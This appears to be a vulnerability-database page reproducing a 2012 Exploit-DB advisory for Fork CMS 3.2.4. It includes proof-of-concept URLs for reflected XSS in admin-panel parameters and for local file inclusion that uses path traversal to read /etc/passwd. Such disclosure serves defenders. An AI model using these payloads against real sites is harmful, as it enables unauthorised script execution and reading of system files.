Fork CMS v.3.2.4 - Multiple Vulnerabilities

vendor:

Fork CMS

by:

RandomStorm and Avram Marius Gabriel (d3v1l)

8,8

CVSS

HIGH

Reflected Cross-Site Scripting (XSS) and Local File Inclusion (LFI)

79 (XSS) and 22 (LFI)

CWE

Product Name: Fork CMS

Affected Version From: 3.2.4

Affected Version To: 3.2.4

Patch Exists: YES

Related CWE: N/A

CPE: a:fork_cms:fork_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP & Vista

2012

Fork CMS v.3.2.4 – Multiple Vulnerabilities

Fork CMS is dedicated to creating a user friendly environment to build, monitor and update websites. Reflected Cross-Site Scripting (XSS) on Admin Panel can be exploited by sending a malicious URL with a script tag containing an alert command. Local File Inclusion (LFI) can be exploited by sending a malicious URL with a file parameter containing a path traversal string.

Mitigation:

Input validation and sanitization should be used to prevent XSS and LFI attacks.

Source

Exploit-DB raw data:

 
########################################################################################################################## 

#  Exploit Title: Fork CMS v.3.2.4  - Multiple Vulnerabilities 

#  Script Page : http://www.fork-cms.com  
                   
#  Date: 11-02-2012

#  Author : RandomStorm  - http://www.randomstorm.com

#  Avram Marius Gabriel (d3v1l)

#  Tested on: Windows XP & Vista
 
 
########################################################################################################################## 
 
#  Reflected Cross-Site Scripting (XSS) on Admin Panel

#  POC:  

#  http://site.com/blog/settings?token=true&report=</script><script>alert(1)</script>  

#  http://site.com/users/index?token=true&error=</script><script>alert(1)</script> 
 
########################################################################################################################### 

#  Local File Inclusion ( LFI )

#  POC: 

#  http://site.com/frontend/js.php?module=../../../../../../../../../../../../../../etc/passwd%00&file=frontend.js&language=en


##########################################################################################################################
 
# About: Fork CMS is dedicated to creating a user friendly environment to build,monitor and update your website.

###########################################################################################################################